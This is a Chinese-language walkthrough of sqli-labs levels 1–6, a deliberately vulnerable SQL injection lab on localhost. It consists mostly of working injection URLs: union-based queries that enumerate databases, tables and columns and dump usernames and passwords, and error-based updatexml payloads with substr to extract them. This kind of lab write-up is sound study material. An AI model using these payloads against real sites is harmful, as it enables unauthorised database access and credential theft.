Less_1
查看所有数据库:
http://127.0.0.1:8081/Less_1/?id = -1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查看表:
http://127.0.0.1:8081/Less_1/?id = -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查看列名:
http://127.0.0.1:8081/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name ='users'--+

已知库名、表名、列名,现在可以直接查找了
http://127.0.0.1:8081/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+

Less_2
第二关和第一关差不多,只是闭合点没有闭合
http://127.0.0.1:8081/Less-2/?id=-1 union select 1,2,group_concat(0x7e,username,password)from security.users--+

Less_3
http://127.0.0.1:8081/Less-3/?id = -1'--+

可以看到,这里还是报错,说明这里可能不用 ' 闭合,我们尝试用 )进行闭合
http://127.0.0.1:8081/Less-3/?id = -1')--+

可以看到,成功找到注入点,接下来就和第一关没什么区别了
http://127.0.0.1:8081/Less-3/?id=-1') union select 1,2,group_concat(0x7e,username,password)from security.users--+

Less_4
http://127.0.0.1:8081/Less-3/?id = 1' order by 4--+

这里看到order by 4 依然有回显,说明这里可能不是用 ' 闭合,我们尝试 ) ,但是依然有回显
经过尝试,最后发现闭合点为 ")
http://127.0.0.1:8081/Less-3/?id = 1") order by 3--+

http://127.0.0.1:8081/Less-3/?id = 1") order by 3--+
可以看到成功找到注入点,那就直接上命令
http://127.0.0.1/Less-4/?id=1") union select 1,2,group_concat(0x7e,username,password)from security.users--+

Less_5
http://127.0.0.1:8081/Less-5/?id = 1
http://127.0.0.1:8081/Less-5/?id = 1'

可以发现这里注入点在前端显示不出来,所以可以尝试以下报错注入
http://127.0.0.1:8081/Less-5/?id=1'and updatexml(1,concat(0x7e,user(),0x7e),1)--+

可以看到已经显示出来了,然后去拿用户密码
http://127.0.0.1:8081/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

但是现在显示不完,所以可以用substr来依次截取就行
http://127.0.0.1:8081/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less_6
第六关和第五关没什么区别,只是闭合用的 "
直接上命令:
http://127.0.0.1:8081/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

